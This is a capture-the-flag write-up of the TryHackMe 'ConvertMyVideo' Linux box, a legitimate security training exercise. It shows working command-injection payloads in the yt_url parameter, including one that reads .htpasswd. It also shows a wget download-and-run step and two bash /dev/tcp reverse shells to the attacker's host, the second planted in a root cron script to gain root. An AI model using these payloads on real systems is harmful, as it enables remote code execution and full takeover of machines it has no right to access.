TryHackMe - ConvertMyVideo write up
6 min read

TryHackMe - ConvertMyVideo write up

TryHackMe - ConvertMyVideo write up

ConvertMyVideo is a Linux Medium box from TryHackMe.

Recon

Let's start with an nmap scan to see what services are running on the box.

$ nmap -p -1024 10.10.168.16

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

$ nmap -p 22,80 -sV -sC 10.10.168.16 -oN scan.nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 65:1b:fc:74:10:39:df:dd:d0:2d:f0:53:1c:eb:6d:ec (RSA)
|   256 c4:28:04:a5:c3:b9:6a:95:5a:4d:7a:6e:46:e2:14:db (ECDSA)
|_  256 ba:07:bb:cd:42:4a:f2:93:d1:05:d0:b3:4c:b1:d9:b1 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let's check the web port !

Web

http://10.10.168.16/index.php

So, we have a web page that convert youtube video into mp3. Let's run gobuster to find some endpoints.

/images      (Status: 301) [Size: 313] [--> http://10.10.168.16/images/]
/index.php   (Status: 200) [Size: 747]
/admin       (Status: 401) [Size: 459]
/js          (Status: 301) [Size: 309] [--> http://10.10.168.16/js/]
/tmp         (Status: 301) [Size: 310] [--> http://10.10.168.16/tmp/]

The /tmp folder is the place where mp3 file are stored.
We get a /admin, let's check it out !

http://10.10.168.16/admin/

I try some credentials like admin:admin or admin:password but it doesn't work. I visit the two pages below to see if we can get the credentials but I get 2 forbidden page.

http://10.10.168.16/admin/.htaccess
http://10.10.168.16/admin/.htpasswd

Let's come back to the home page.

http://10.10.168.16/index.php

After looking at the source code of the page we can see a JavaScript function that is run when we click on the convert button.

$(function () {
    $("#convert").click(function () {
        $("#message").html("Converting...");
        $.post("/", { yt_url: "https://www.youtube.com/watch?v=" + $("#ytid").val() }, function (data) {
            try {
                data = JSON.parse(data);
                if(data.status == "0"){
                    $("#message").html("<a href='" + data.result_url + "'>Download MP3</a>");
                }
                else{
                    console.log(data);
                    $("#message").html("Oops! something went wrong");
                }
            } catch (error) {
                console.log(data);
                $("#message").html("Oops! something went wrong");
            }
        });
    });

});
http://10.10.168.16/js/main.js

As you can see, when we click on the Convert button, we send a POST request with the yt_url parameter that represents the URL of the youtube video. The response of this request is in JSON.

Let's check it trough Burpsuite.

If you send a single quote, you get a Shell Syntax Error, maybe we can do a command injection. Let's exploit this !

yt_url=;ls${IFS}-al;

{
  "status": 127,
  "errors": "WARNING: Assuming --restrict-filenames since file system encoding cannot encode all characters. Set the LC_ALL environment variable to fix this.\nUsage: youtube-dl [OPTIONS] URL [URL...]\n\nyoutube-dl: error: You must provide at least one URL.\nType youtube-dl --help to see a list of all options.\nsh: 1: -f: not found\n",
  "url_orginal": ";ls${IFS}-al;",
  "output": "total 36\ndrwxr-xr-x 6 www-data www-data 4096 Apr 12  2020 .\ndrwxr-xr-x 3 root     root     4096 Apr 12  2020 ..\n-rw-r--r-- 1 www-data www-data  152 Apr 12  2020 .htaccess\ndrwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 admin\ndrwxrwxr-x 2 www-data www-data 4096 Apr 12  2020 images\n-rw-r--r-- 1 www-data www-data 1790 Apr 12  2020 index.php\ndrwxrwxr-x 2 www-data www-data 4096 Apr 12  2020 js\n-rw-rw-r-- 1 www-data www-data  205 Apr 12  2020 style.css\ndrwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 tmp\n",
  "result_url": "/tmp/downloads/5ff09fac6161f.mp3"
}

The IFS variable allows us to do a space in our commands. Let's find the password for the /admin endpoint.

yt_url=;cat${IFS}admin/.htpasswd;

{
...
itsmeadmin:$apr1$tbcm2uwv$UP1ylvgp4.zLKxWj8mc6y
...
}

I was unable to crack the password.
Let's do a reverse shell !

xanhacks~ $ vim toto.sh
xanhacks~ $ cat toto.sh 
#!/bin/bash
bash -i >& /dev/tcp/10.9.52.138/1337 0>&1
setup
yt_url=;wget${IFS}10.9.52.138:5555/toto.sh;

xanhacks~ $ python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
10.10.168.16 - - [02/Jan/2021 17:50:48] "GET /toto.sh HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
download
yt_url=;bash${IFS}toto.sh;

xanhacks~ $ nc -lvnp 1337
Connection from 10.10.168.16:48992
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dmv:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
run

We get a reverse shell !

User

www-data@dmv:/var/www/html$ ls
admin
images
index.php
js
style.css
tmp
toto.sh
www-data@dmv:/var/www/html$ ls admin
flag.txt
index.php
www-data@dmv:/var/www/html$ cat admin/flag.txt
flag{0d8486a0c0c42503b...}

user flag !

Root

In the tmp folder we can see a clean.sh script.

www-data@dmv:/var/www/html$ cd tmp
www-data@dmv:/var/www/html/tmp$ ls -al
ls -al
total 12
drwxr-xr-x 2 www-data www-data 4096 Apr 12  2020 .
drwxr-xr-x 6 www-data www-data 4096 Jan  2 16:48 ..
-rw-r--r-- 1 www-data www-data   17 Apr 12  2020 clean.sh

We can edit this script, so if this script is run by another user with more privileges we can execute command as him.
I don't have the permission to see the root crontab, so I download pspy to snoop on processes.

www-data@dmv:/tmp$ chmod +x ps*
www-data@dmv:/tmp$ ./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

...
2021/01/02 17:03:01 CMD: UID=0    PID=4569   | bash /var/www/html/tmp/clean.sh 
2021/01/02 17:03:01 CMD: UID=0    PID=4568   | bash /var/www/html/tmp/clean.sh 
2021/01/02 17:03:01 CMD: UID=0    PID=4567   | /bin/sh -c cd /var/www/html/tmp && bash /var/www/html/tmp/clean.sh 
2021/01/02 17:03:01 CMD: UID=0    PID=4565   | /usr/sbin/CRON -f

Bingo ! This script is run by root (UID=0) ! Let's change the content of the script to a reverse shell.

www-data@dmv:/var/www/html/tmp$ cat clean.sh
rm -rf downloads
www-data@dmv:/var/www/html/tmp$ echo '#!/bin/bash' > clean.sh
www-data@dmv:/var/www/html/tmp$ echo 'bash -i >& /dev/tcp/10.9.52.138/1234 0>&1' >> clean.sh
www-data@dmv:/var/www/html/tmp$ cat clean.sh
#!/bin/bash
bash -i >& /dev/tcp/10.9.52.138/1234 0>&1

Wait for the crontab.

$ nc -lvnp 1234
Connection from 10.10.168.16:42160
bash: cannot set terminal process group (4759): Inappropriate ioctl for device
bash: no job control in this shell
root@dmv:/var/www/html/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@dmv:/var/www/html/tmp# cd /root
root@dmv:~# cat root.txt
flag{d9b368018e912b541a4e...}

Root flag !

Enjoying these posts? Subscribe for more